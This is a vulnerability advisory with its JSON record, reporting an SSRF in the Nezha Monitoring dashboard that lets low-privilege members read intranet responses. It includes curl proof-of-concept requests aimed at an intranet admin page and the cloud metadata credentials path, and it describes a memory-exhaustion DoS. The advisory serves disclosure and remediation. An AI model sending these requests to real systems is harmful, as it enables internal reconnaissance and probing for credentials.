GHSA-W4G9-MXGG-J532

Vulnerability from github – Published: 2026-05-23 00:08 – Updated: 2026-06-26 21:28
VLAI
Summary
Nezha Monitoring: RoleMember-reachable SSRF with full response-body reflection via POST /api/v1/notification
Details

Summary

nezha's dashboard supports two user roles: RoleAdmin (Role==0) and RoleMember (Role==1). The notification routes POST /api/v1/notification and PATCH /api/v1/notification/:id are wired through commonHandler rather than adminHandler — so a RoleMember user can call them. These handlers synchronously Send() an HTTP request to a user-controlled URL and reflect the entire response body (no size limit) back to the caller on any non-2xx response.

Net effect: a low-privilege RoleMember can read intranet HTTP response bodies via the dashboard's hub.

Affected versions

Commit 50dc8e660326b9f22990898142c58b7a5312b42a and earlier on master.

Reachability chain

cmd/dashboard/controller/controller.go:121-122
    auth.GET("/notification", listHandler(listNotification))
    auth.POST("/notification", commonHandler(createNotification))   // <-- commonHandler, not adminHandler

For comparison, /user routes ARE gated by adminHandler:

auth.GET("/user", adminHandler(listUser))
auth.POST("/user", adminHandler(createUser))
auth.POST("/batch-delete/user", adminHandler(batchDeleteUser))

adminHandler (controller.go:220-236) explicitly enforces user.Role.IsAdmin(). commonHandler (controller.go:214-218) does not.

The vulnerable handler

// cmd/dashboard/controller/notification.go:46-83
func createNotification(c *gin.Context) (uint64, error) {
    var nf model.NotificationForm
    if err := c.ShouldBindJSON(&nf); err != nil { return 0, err }
    var n model.Notification
    n.UserID = getUid(c)
    n.Name = nf.Name
    n.RequestMethod = nf.RequestMethod
    n.RequestType = nf.RequestType
    n.RequestHeader = nf.RequestHeader
    n.RequestBody = nf.RequestBody
    n.URL = nf.URL
    ...
    ns := model.NotificationServerBundle{Notification: &n, Server: nil, Loc: singleton.Loc}
    if !nf.SkipCheck {
        if err := ns.Send(singleton.Localizer.T("a test message")); err != nil {
            return 0, err   // <-- err.Error() reflects up to caller via newErrorResponse
        }
    }
    ...
}

Identical pattern in updateNotification (PATCH /notification/:id) at lines 97-146.

The reflection sink

// model/notification.go:113-159
func (ns *NotificationServerBundle) Send(message string) error {
    var client *http.Client
    n := ns.Notification
    if n.VerifyTLS != nil && *n.VerifyTLS {
        client = utils.HttpClient
    } else {
        client = utils.HttpClientSkipTlsVerify
    }
    reqBody, err := ns.reqBody(message)
    if err != nil { return err }
    reqMethod, err := n.reqMethod()
    if err != nil { return err }
    req, err := http.NewRequest(reqMethod, ns.reqURL(message), strings.NewReader(reqBody))
    if err != nil { return err }
    n.setContentType(req)
    if err := n.setRequestHeader(req); err != nil { return err }
    resp, err := client.Do(req)
    if err != nil { return err }
    defer func() { _ = resp.Body.Close() }()
    if resp.StatusCode < 200 || resp.StatusCode > 299 {
        body, _ := io.ReadAll(resp.Body)   // <-- NO io.LimitReader
        return fmt.Errorf("%d@%s %s", resp.StatusCode, resp.Status, string(body))
    } else {
        _, _ = io.Copy(io.Discard, resp.Body)
    }
    return nil
}

The full body (no size limit) is concatenated into an error string. That error flows through commonHandler → handle() → newErrorResponse(err) → c.JSON(http.StatusOK, ...). The intranet response body is JSON-encoded back to the RoleMember caller.

Additional wrinkle: client = utils.HttpClientSkipTlsVerify when VerifyTLS is false — attacker-controlled. So the SSRF works against TLS endpoints too, ignoring cert validation.

PoC

A. Read intranet admin-panel response body

curl -X POST -H "Authorization: Bearer <member-jwt>" \
  -H "Content-Type: application/json" \
  -d '{"name":"x","url":"http://192.168.1.1/admin/index.html","request_method":1,"request_type":1,"verify_tls":false,"skip_check":false}' \
  http://nezha-dashboard.example.com/api/v1/notification

Response:

{"success":false,"error":"401@Unauthorized <full HTML body of the admin login page, no size limit>"}

B. AWS IMDSv2 reachability + body leak

curl -X POST -H "Authorization: Bearer <member-jwt>" \
  -H "Content-Type: application/json" \
  -d '{"name":"x","url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/","request_method":1,"request_type":1,"verify_tls":false,"skip_check":false}' \
  http://nezha-dashboard.example.com/api/v1/notification

IMDSv2 returns 401 with a body explaining the missing token; that body is reflected.

C. DoS via large internal file

Because the body is read via unbounded io.ReadAll, a RoleMember pointing at any internal large-file URL (logs, package mirrors, video) blows up dashboard memory.

Suggested fix

  1. Switch /notification routes to adminHandler. Same fix for /alert-rule, /cron, /ddns if they also issue user-URL requests synchronously. Compare with how /user is already guarded.

go auth.POST("/notification", adminHandler(createNotification)) auth.PATCH("/notification/:id", adminHandler(updateNotification))

  1. SSRF-harden NotificationServerBundle.Send():
  2. Resolve URL host once via net.LookupIP; refuse private/loopback/link-local/CGNAT.
  3. Pin http.Transport.DialContext to the resolved IP — closes DNS-rebinding TOCTOU.
  4. Refuse non-http(s) schemes.

  5. Cap response body: io.LimitReader(resp.Body, 4096). 4 KB is plenty for surfacing webhook errors.

  6. Reconsider VerifyTLS=false toggle on RoleMember-reachable paths — if the route remains member-reachable, at minimum cert validation should be enforced.

Severity

  • CVSS 3.1: Medium — AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:L ≈ 6.4. PR:L because attacker needs a RoleMember account (admin-issued). C:L because intranet response bodies can be read but typically not full credentials. A:L because of the unbounded body-read DoS.
  • Auth: authenticated RoleMember (Role == 1).

Reproduction environment

  • Tested against: nezhahq/nezha:v0.x (commit 50dc8e660326b9f22990898142c58b7a5312b42a).
  • Code locations:
  • Handler: cmd/dashboard/controller/notification.go:46-83, 97-146
  • Sink: model/notification.go:113-159
  • Auth gate: cmd/dashboard/controller/controller.go:121-122 (commonHandler), 214-236 (handler defs)

Reporter

Eddie Ran. Filed via reporter API (PVR enabled). nezha's SECURITY.md mentions email hi@nai.ba for vulnerability reports — happy to also send via email if the maintainer prefers.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/nezhahq/nezha"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.4.0"
            },
            {
              "fixed": "1.14.15-0.20260517022419-d06d539d34c1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-46717"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-23T00:08:04Z",
    "nvd_published_at": "2026-06-12T22:16:50Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nnezha\u0027s dashboard supports two user roles: `RoleAdmin` (Role==0) and `RoleMember` (Role==1). The notification routes `POST /api/v1/notification` and `PATCH /api/v1/notification/:id` are wired through `commonHandler` rather than `adminHandler` \u2014 so a `RoleMember` user can call them. These handlers synchronously `Send()` an HTTP request to a user-controlled URL and reflect the *entire* response body (no size limit) back to the caller on any non-2xx response.\n\nNet effect: a low-privilege `RoleMember` can read intranet HTTP response bodies via the dashboard\u0027s hub.\n\n## Affected versions\n\nCommit `50dc8e660326b9f22990898142c58b7a5312b42a` and earlier on `master`.\n\n## Reachability chain\n\n```\ncmd/dashboard/controller/controller.go:121-122\n    auth.GET(\"/notification\", listHandler(listNotification))\n    auth.POST(\"/notification\", commonHandler(createNotification))   // \u003c-- commonHandler, not adminHandler\n```\n\nFor comparison, `/user` routes ARE gated by `adminHandler`:\n\n```\nauth.GET(\"/user\", adminHandler(listUser))\nauth.POST(\"/user\", adminHandler(createUser))\nauth.POST(\"/batch-delete/user\", adminHandler(batchDeleteUser))\n```\n\n`adminHandler` (controller.go:220-236) explicitly enforces `user.Role.IsAdmin()`. `commonHandler` (controller.go:214-218) does not.\n\n## The vulnerable handler\n\n```go\n// cmd/dashboard/controller/notification.go:46-83\nfunc createNotification(c *gin.Context) (uint64, error) {\n    var nf model.NotificationForm\n    if err := c.ShouldBindJSON(\u0026nf); err != nil { return 0, err }\n    var n model.Notification\n    n.UserID = getUid(c)\n    n.Name = nf.Name\n    n.RequestMethod = nf.RequestMethod\n    n.RequestType = nf.RequestType\n    n.RequestHeader = nf.RequestHeader\n    n.RequestBody = nf.RequestBody\n    n.URL = nf.URL\n    ...\n    ns := model.NotificationServerBundle{Notification: \u0026n, Server: nil, Loc: singleton.Loc}\n    if !nf.SkipCheck {\n        if err := ns.Send(singleton.Localizer.T(\"a test message\")); err != nil {\n            return 0, err   // \u003c-- err.Error() reflects up to caller via newErrorResponse\n        }\n    }\n    ...\n}\n```\n\nIdentical pattern in `updateNotification` (PATCH /notification/:id) at lines 97-146.\n\n## The reflection sink\n\n```go\n// model/notification.go:113-159\nfunc (ns *NotificationServerBundle) Send(message string) error {\n    var client *http.Client\n    n := ns.Notification\n    if n.VerifyTLS != nil \u0026\u0026 *n.VerifyTLS {\n        client = utils.HttpClient\n    } else {\n        client = utils.HttpClientSkipTlsVerify\n    }\n    reqBody, err := ns.reqBody(message)\n    if err != nil { return err }\n    reqMethod, err := n.reqMethod()\n    if err != nil { return err }\n    req, err := http.NewRequest(reqMethod, ns.reqURL(message), strings.NewReader(reqBody))\n    if err != nil { return err }\n    n.setContentType(req)\n    if err := n.setRequestHeader(req); err != nil { return err }\n    resp, err := client.Do(req)\n    if err != nil { return err }\n    defer func() { _ = resp.Body.Close() }()\n    if resp.StatusCode \u003c 200 || resp.StatusCode \u003e 299 {\n        body, _ := io.ReadAll(resp.Body)   // \u003c-- NO io.LimitReader\n        return fmt.Errorf(\"%d@%s %s\", resp.StatusCode, resp.Status, string(body))\n    } else {\n        _, _ = io.Copy(io.Discard, resp.Body)\n    }\n    return nil\n}\n```\n\nThe full body (no size limit) is concatenated into an error string. That error flows through `commonHandler \u2192 handle() \u2192 newErrorResponse(err) \u2192 c.JSON(http.StatusOK, ...)`. The intranet response body is JSON-encoded back to the `RoleMember` caller.\n\nAdditional wrinkle: `client = utils.HttpClientSkipTlsVerify` when `VerifyTLS` is false \u2014 attacker-controlled. So the SSRF works against TLS endpoints too, ignoring cert validation.\n\n## PoC\n\n### A. Read intranet admin-panel response body\n\n```bash\ncurl -X POST -H \"Authorization: Bearer \u003cmember-jwt\u003e\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"name\":\"x\",\"url\":\"http://192.168.1.1/admin/index.html\",\"request_method\":1,\"request_type\":1,\"verify_tls\":false,\"skip_check\":false}\u0027 \\\n  http://nezha-dashboard.example.com/api/v1/notification\n```\n\nResponse:\n```json\n{\"success\":false,\"error\":\"401@Unauthorized \u003cfull HTML body of the admin login page, no size limit\u003e\"}\n```\n\n### B. AWS IMDSv2 reachability + body leak\n\n```bash\ncurl -X POST -H \"Authorization: Bearer \u003cmember-jwt\u003e\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"name\":\"x\",\"url\":\"http://169.254.169.254/latest/meta-data/iam/security-credentials/\",\"request_method\":1,\"request_type\":1,\"verify_tls\":false,\"skip_check\":false}\u0027 \\\n  http://nezha-dashboard.example.com/api/v1/notification\n```\n\nIMDSv2 returns 401 with a body explaining the missing token; that body is reflected.\n\n### C. DoS via large internal file\n\nBecause the body is read via unbounded `io.ReadAll`, a `RoleMember` pointing at any internal large-file URL (logs, package mirrors, video) blows up dashboard memory.\n\n## Suggested fix\n\n1. **Switch /notification routes to `adminHandler`.** Same fix for `/alert-rule`, `/cron`, `/ddns` if they also issue user-URL requests synchronously. Compare with how `/user` is already guarded.\n\n   ```go\n   auth.POST(\"/notification\", adminHandler(createNotification))\n   auth.PATCH(\"/notification/:id\", adminHandler(updateNotification))\n   ```\n\n2. **SSRF-harden `NotificationServerBundle.Send()`:**\n   - Resolve URL host once via `net.LookupIP`; refuse private/loopback/link-local/CGNAT.\n   - Pin `http.Transport.DialContext` to the resolved IP \u2014 closes DNS-rebinding TOCTOU.\n   - Refuse non-http(s) schemes.\n\n3. **Cap response body**: `io.LimitReader(resp.Body, 4096)`. 4 KB is plenty for surfacing webhook errors.\n\n4. **Reconsider `VerifyTLS=false` toggle on RoleMember-reachable paths** \u2014 if the route remains member-reachable, at minimum cert validation should be enforced.\n\n## Severity\n\n- **CVSS 3.1:** Medium \u2014 `AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:L` \u2248 6.4. PR:L because attacker needs a `RoleMember` account (admin-issued). C:L because intranet response bodies can be read but typically not full credentials. A:L because of the unbounded body-read DoS.\n- **Auth:** authenticated `RoleMember` (Role == 1).\n\n## Reproduction environment\n\n- Tested against: `nezhahq/nezha:v0.x` (commit `50dc8e660326b9f22990898142c58b7a5312b42a`).\n- Code locations:\n  - Handler: `cmd/dashboard/controller/notification.go:46-83, 97-146`\n  - Sink: `model/notification.go:113-159`\n  - Auth gate: `cmd/dashboard/controller/controller.go:121-122` (commonHandler), 214-236 (handler defs)\n\n## Reporter\n\nEddie Ran. Filed via reporter API (PVR enabled). nezha\u0027s `SECURITY.md` mentions email `hi@nai.ba` for vulnerability reports \u2014 happy to also send via email if the maintainer prefers.",
  "id": "GHSA-w4g9-mxgg-j532",
  "modified": "2026-06-26T21:28:27Z",
  "published": "2026-05-23T00:08:04Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nezhahq/nezha/security/advisories/GHSA-w4g9-mxgg-j532"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-46717"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nezhahq/nezha/commit/d06d539d34c143d842b91e2a64326e8c8f9bc405"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nezhahq/nezha"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Nezha Monitoring: RoleMember-reachable SSRF with full response-body reflection via POST /api/v1/notification"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…